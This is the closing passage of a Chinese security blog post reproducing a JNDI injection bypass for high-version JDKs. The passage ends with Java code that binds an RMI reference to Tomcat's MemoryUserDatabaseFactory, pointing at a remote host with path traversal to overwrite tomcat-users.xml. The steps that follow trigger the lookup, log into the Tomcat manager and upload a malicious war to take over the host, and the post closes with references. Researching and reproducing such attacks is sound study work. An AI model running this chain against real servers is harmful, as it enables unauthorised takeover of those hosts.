                "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://lingx5.dns.army:8000/../." +
                "./conf/tomcat-users.xml"));
        ref.add(new StringRefAddr("readonly", "false"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Exploit", referenceWrapper);
    }
}

开启rmi服务

image-20250319131222317

war包部署到tomcat8中

image-20250319125518422

开启http服务

image-20250319130017622

访问http://localhost:8080/JNDItomcat/jndi,后登录http://localhost:8080/manager/html

image-20250319130402583

成功进入tomcat后台,我们在上传恶意的war包,就可以拿下这台主机的权限了

image-20250319130421545

总结

JNDI的玩法还是有很多,当然我这里也不是所有内容,只是从师傅的文章中挑了些感觉有趣的。不过对于高版本的绕过,基本上原理就是这样的。

参考文章

java 高版本下各种 JNDI Bypass 方法复现 - bitterz - 博客园

JDBC Attack 与高版本 JDK 下的 JNDI Bypass – 奇安信技术研究院

JNDI Mind Tricks | MOGWAI LABS

文章 - 高版本 JNDI 注入-高版本 Tomcat 利用方案 - 先知社区

文章 - 小白看得懂的 MySQL JDBC 反序列化漏洞分析 - 先知社区

探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖

posted @ 2025-03-19 13:42  LingX5  阅读(220)  评论(0)    收藏  举报